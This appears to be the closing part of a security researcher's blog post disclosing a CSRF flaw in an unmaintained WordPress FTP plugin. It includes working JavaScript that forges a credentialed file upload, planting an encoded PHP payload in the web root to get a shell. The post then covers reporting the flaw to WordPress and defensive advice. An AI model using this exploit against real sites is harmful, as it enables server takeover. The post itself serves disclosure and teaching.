<script type="text/javascript">// <![CDATA[
function fileUpload(url, fileData, fileName) {
 var fileSize = fileData.length,
 boundary = "xxxxxxxxx",
 xhr = new XMLHttpRequest();
 xhr.withCredentials = "true";

 xhr.open("POST", url, true);
 // simulate a file MIME POST request.
 xhr.setRequestHeader("Content-Type", "multipart/form-data, boundary="+boundary);
 xhr.setRequestHeader("Content-Length", fileSize);

 var body = "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="desiredLocation"' + 'rnrn';
 body += '/var/www/public_htmlrn';
 body += "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="upfile"; filename="' + fileName + '"rn';
 body += 'Content-Type: text/plainrnrn';
 body += fileData + "rn";
 body += "--" + boundary + "rn";
 body += 'Content-Disposition: form-data; name="upload"rnrn';
 body += 'Upload To Current Pathrn';
 body += "--" + boundary + "--";

 xhr.send(body);
 return true;
}

//encoded stage 1 payload in JS friendly form... from step 0
var data =
"x3cx3fx70x68x70x0ax0ax65x72x72x6fx72x5f" +
"x72x65x70x6fx72x74x69x6ex67x28x30x29x3bx0a" +
...

fileUpload('http://webstersprodigy.net/wp-admin/options-general.php?page=MyFtp&dir=/var/www/public_html/', data, 'bwahaha.php');
// ]]></script>

4. Profit

Now that the page is uploaded, visit it, and get a shell.

I reported this bug to wordpress, who has a great security team full of smart responsive people, and this was their response. This seems like the right course of action to me:

“The security team reviewed the report and based on the nature of the vulnerability, the current state of the plugin (unmaintained, not updated), and the inability to contact the author, they have decided the best course of action is to just remove it from the plugin directory. This also means that it will not be returned in any API results, etc making it impossible to install from the built-in plugin installer in the WordPress dashboard.”

It would be cool to notify the people who have the plugin installed, but I have no idea if WordPress would even have that kind of information.

Conclusions

So lets look at the nature of these types of attacks. When you have a powerful account/application, clientside attacks may be tougher to exploit realistically (it’s tougher to get a specific admin to visit your evil website than just somebody random who happens to be logged into Facebook) but there can also be a bigger payoff.

As consumers, if you use a powerful feature then I think it’s smart to run these types of things in their own incognito session or environment so clientside attacks like these are harder to pull off. As security people trying to make the web a safer place, I think this is a bit of a blind spot. We spend a lot of time and money making our car bullet proof and then leave the doors unlocked.

*Not to diminish the “broad impact” bugs. Those are awesome too.

Follow

Get every new post delivered to your Inbox.

Join 39 other followers